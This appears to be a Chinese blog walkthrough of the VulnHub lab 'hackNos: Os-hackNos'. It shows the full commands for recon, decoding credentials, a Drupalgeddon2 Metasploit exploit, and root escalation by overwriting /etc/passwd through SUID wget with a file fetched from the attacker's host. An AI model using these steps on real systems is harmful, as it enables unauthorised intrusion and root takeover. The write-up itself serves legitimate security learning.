重要提示:这一个靶机就是之前那个Os-Hax: lab-james
,只不过现在叫hackNos: Os-hackNos
,除了靶机的主机名有改动,其他的没有啥改动。
难度:作者的定义是中等~
靶机发布日期:2019年11月3日
靶机描述:Difficulty : Intermediate
Flag : boot-root
Learning : exploit | web application Security | Privilege Escalation
Contact … https://www.linkedin.com/in/rahulgehlaut/
Requires VirtualBox (doesn’t work with VMware)
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com
工具、知识点和漏洞
- nmap
- dirsearch
- searchsploit
- metaspaloit
0x00、信息收集
靶机IP:192.168.0.107
nmap -sP 192.168.0.0/24
端口和服务
nmap -sS -sV -T5 -A -p- 192.168.0.107
页面、目录枚举
gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
http://192.168.0.107/index.html
http://192.168.0.107/drupal/,Drupal 7
http://192.168.0.107/alexander.txt,内容如下:
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
base64解码之后发现是Brainfuck code
,到https://www.splitbrain.org/_static/ook/
在线解码,得到一对账号密码james:Hacker@4514
登录drupal之后看到一串警告
尝试使用得到的账号密码通过SSH登录靶机,无果
0x01、getshell
由于之前做过很多Drupal的靶机,所以我直接打开MSF,利用exploit/unix/webapp/drupal_drupalgeddon2
getshell
常规做法就是在exploit-db、Google搜索“drupal 7”
search Drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.0.107
set targeturi /drupal # Path to Drupal install
exploit
获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。
python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c
如果你想使用clear
清屏,那么只需要给TERM这个环境变量赋值screen即可
export TERM=screen # 赋值xterm也可以
0x02、提权
--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------
SUID权限可执行文件,发现/usr/bin/wget
关于wget的利用,可以参考Linux for Pentester: Wget Privilege Escalation
find / -perm -u=s -type f 2>/dev/null
常见的SUID提权可执行文件
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
读取靶机中的/etc/passwd
,并将内容保存到kali的新建passwd
文件。使用openssl
生成加密密码,并将加密的密码添加到passwd
中
关于/etc/passwd各列的含义请自行搜索
openssl passwd -1 -salt salt ins1ght
echo 'ins1ght:$1$salt$6FLhQyyZLS6t1CiFgvKLu1:0:0:root:/root:/bin/bash' >> passwd
在passwd
文件所在目录使用Python开启HTTP服务,之后使用使用wget
将passwd下载到靶机的/etc
目录,覆盖靶机原始的/etc/passwd
文件。
su
切换到ins1ght用户(root权限)
有史以来最快的一次~
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.